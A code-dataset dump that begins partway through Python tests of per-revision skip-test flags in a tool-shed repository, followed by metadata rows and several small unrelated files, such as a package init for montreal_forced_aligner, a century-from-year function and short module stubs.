self.upload_file( repository,
filename='filtering/README',
filepath=None,
valid_tools_only=True,
uncompress_file=False,
remove_repo_files_not_in_tar=False,
commit_message='Add a readme file.',
strings_displayed=[],
strings_not_displayed=[] )
self.display_manage_repository_page( repository,
strings_displayed=[ 'Skip reason for second revision.' ] )
def test_0065_verify_skip_setting_on_first_changeset( self ):
'''Verify that the first changeset only displays its own skip reason.'''
'''
This is step 10 - Check the first revision, make sure the skip reason matches.
'''
global first_metadata_revision
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.display_manage_repository_page( repository,
changeset_revision=first_metadata_revision,
strings_displayed=[ 'Skip reason for first revision.' ],
strings_not_displayed=[ 'Skip reason for second revision.' ] )
def test_0065_verify_skip_setting_on_second_changeset( self ):
'''Verify that the second changeset only displays its own skip reason.'''
'''
This is step 12 - Check the second revision, make sure the skip reason matches.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.display_manage_repository_page( repository,
strings_displayed=[ 'Skip reason for second revision.' ],
strings_not_displayed=[ 'Skip reason for first revision.' ] )
def test_0070_unset_skip_setting_on_first_revision( self ):
'''Set the first revision not to skip tests, verify setting.'''
'''
This is step 13 - Uncheck the checkbox for the first revision, and verify that the skip reason is no longer displayed.
'''
global first_metadata_revision
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.set_skip_tool_tsts_flag( repository=repository, flag_value=False, reason='', changeset_revision=first_metadata_revision )
self.display_manage_repository_page( repository,
changeset_revision=first_metadata_revision,
strings_not_displayed=[ 'Skip reason for second revision.', 'Skip reason for first revision.' ] )
def test_0075_unset_skip_setting_on_second_revision( self ):
'''Set the second revision not to skip tests, verify setting.'''
'''
This is step 14 - Uncheck the checkbox for the second revision, and verify that the skip reason is no longer displayed.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.set_skip_tool_tsts_flag( repository=repository, flag_value=False, reason='' )
self.display_manage_repository_page( repository,
strings_not_displayed=[ 'Skip reason for second revision.', 'Skip reason for first revision.' ] )
| 58.697581
| 142
| 0.653294
| 1,819
| 14,557
| 4.958219
| 0.106102
| 0.027498
| 0.035702
| 0.0316
| 0.790997
| 0.765495
| 0.755738
| 0.731345
| 0.712607
| 0.710722
| 0
| 0.016952
| 0.286804
| 14,557
| 248
| 143
| 58.697581
| 0.851763
| 0.054682
| 0
| 0.5
| 0
| 0
| 0.110975
| 0.005938
| 0
| 0
| 0
| 0
| 0.023077
| 1
| 0.107692
| false
| 0
| 0.023077
| 0
| 0.138462
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
9c7081c24f4383116b489c924379969b5c8e9a1c
| 120
|
py
|
Python
|
Chapter 8/08/PaxHeader/recipe64_livedata.py
|
robert0714/Python-Testing-Cookbook-Second-Edition
|
c7c5d59e42e9ca2874faf12a6dd201736a45ca83
|
[
"MIT"
] | null | null | null |
Chapter 8/08/PaxHeader/recipe64_livedata.py
|
robert0714/Python-Testing-Cookbook-Second-Edition
|
c7c5d59e42e9ca2874faf12a6dd201736a45ca83
|
[
"MIT"
] | null | null | null |
Chapter 8/08/PaxHeader/recipe64_livedata.py
|
robert0714/Python-Testing-Cookbook-Second-Edition
|
c7c5d59e42e9ca2874faf12a6dd201736a45ca83
|
[
"MIT"
] | null | null | null |
15 uid=2057284
20 ctime=1296420695
20 atime=1296425170
24 SCHILY.dev=234881026
23 SCHILY.ino=30628279
18 SCHILY.nlink=1
| 17.142857
| 23
| 0.825
| 21
| 120
| 4.714286
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.527778
| 0.1
| 120
| 6
| 24
| 20
| 0.388889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
9c819df3590383da944252348674964d51102986
| 892
|
py
|
Python
|
montreal_forced_aligner/__init__.py
|
potipot/Montreal-Forced-Aligner
|
6d665e9c63a4e3c795d27ec3bb8d9d1a5604bb91
|
[
"MIT"
] | null | null | null |
montreal_forced_aligner/__init__.py
|
potipot/Montreal-Forced-Aligner
|
6d665e9c63a4e3c795d27ec3bb8d9d1a5604bb91
|
[
"MIT"
] | null | null | null |
montreal_forced_aligner/__init__.py
|
potipot/Montreal-Forced-Aligner
|
6d665e9c63a4e3c795d27ec3bb8d9d1a5604bb91
|
[
"MIT"
] | null | null | null |
__ver_major__ = 2
__ver_minor__ = 0
__ver_patch__ = '0a5'
__version__ = "{}.{}.{}".format(__ver_major__, __ver_minor__, __ver_patch__)
__all__ = ['aligner', 'command_line', 'models', 'corpus', 'config', 'dictionary', 'exceptions',
'helper', 'multiprocessing', 'textgrid', 'g2p', '__version__']
import montreal_forced_aligner.aligner as aligner
import montreal_forced_aligner.command_line as command_line
import montreal_forced_aligner.models as models
import montreal_forced_aligner.corpus as corpus
import montreal_forced_aligner.dictionary as dictionary
import montreal_forced_aligner.exceptions as exceptions
import montreal_forced_aligner.helper as helper
import montreal_forced_aligner.config as config
import montreal_forced_aligner.multiprocessing as multiprocessing
import montreal_forced_aligner.textgrid as textgrid
import montreal_forced_aligner.g2p as g2p
| 29.733333
| 95
| 0.813901
| 110
| 892
| 5.990909
| 0.236364
| 0.233687
| 0.333839
| 0.450683
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008794
| 0.107623
| 892
| 29
| 96
| 30.758621
| 0.819095
| 0
| 0
| 0
| 0
| 0
| 0.124439
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.647059
| 0
| 0.647059
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
92c5c185ea5f38cab459230219e405cbafca7adb
| 63
|
py
|
Python
|
programming_puzzles/codewars/python/centuryfromyear.py
|
quantamancer/ProgrammingQuestionsRepo
|
1041fb03a063bb6ca505bf92c18e8e284dc18ed4
|
[
"Unlicense"
] | null | null | null |
programming_puzzles/codewars/python/centuryfromyear.py
|
quantamancer/ProgrammingQuestionsRepo
|
1041fb03a063bb6ca505bf92c18e8e284dc18ed4
|
[
"Unlicense"
] | null | null | null |
programming_puzzles/codewars/python/centuryfromyear.py
|
quantamancer/ProgrammingQuestionsRepo
|
1041fb03a063bb6ca505bf92c18e8e284dc18ed4
|
[
"Unlicense"
] | null | null | null |
import math
def century(year):
return math.ceil(year/100)
| 12.6
| 30
| 0.714286
| 10
| 63
| 4.5
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057692
| 0.174603
| 63
| 4
| 31
| 15.75
| 0.807692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
|
0
| 5
|
92dc31c58631ef703f05e4c3094b3ef728f63cd1
| 121
|
py
|
Python
|
src/kwidgets/dataviz/__init__.py
|
man-vs-electron/kwidgets
|
86943d0255ee11c6ebf0bd481cfa0ebc7ac42154
|
[
"Apache-2.0"
] | null | null | null |
src/kwidgets/dataviz/__init__.py
|
man-vs-electron/kwidgets
|
86943d0255ee11c6ebf0bd481cfa0ebc7ac42154
|
[
"Apache-2.0"
] | 3
|
2021-11-27T18:02:01.000Z
|
2022-03-25T21:19:25.000Z
|
src/kwidgets/dataviz/__init__.py
|
man-vs-electron/kwidgets
|
86943d0255ee11c6ebf0bd481cfa0ebc7ac42154
|
[
"Apache-2.0"
] | null | null | null |
""" Data Science visualization in Kivy
This package contains various visualizations in Kivy related to data science.
"""
| 30.25
| 77
| 0.793388
| 16
| 121
| 6
| 0.75
| 0.229167
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.14876
| 121
| 4
| 78
| 30.25
| 0.932039
| 0.933884
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
92e3ec751c050635bdeb05d0452eaac5f8040f5f
| 32
|
py
|
Python
|
nbplot/__main__.py
|
nburrus/nbplot
|
017a3448b70ea22104086db4eeff7c6c307ea511
|
[
"MIT"
] | 3
|
2021-04-01T21:14:54.000Z
|
2021-04-03T00:10:35.000Z
|
nbplot/__main__.py
|
nburrus/nbplot
|
017a3448b70ea22104086db4eeff7c6c307ea511
|
[
"MIT"
] | null | null | null |
nbplot/__main__.py
|
nburrus/nbplot
|
017a3448b70ea22104086db4eeff7c6c307ea511
|
[
"MIT"
] | null | null | null |
from .nbplot import main
main()
| 10.666667
| 24
| 0.75
| 5
| 32
| 4.8
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 32
| 2
| 25
| 16
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
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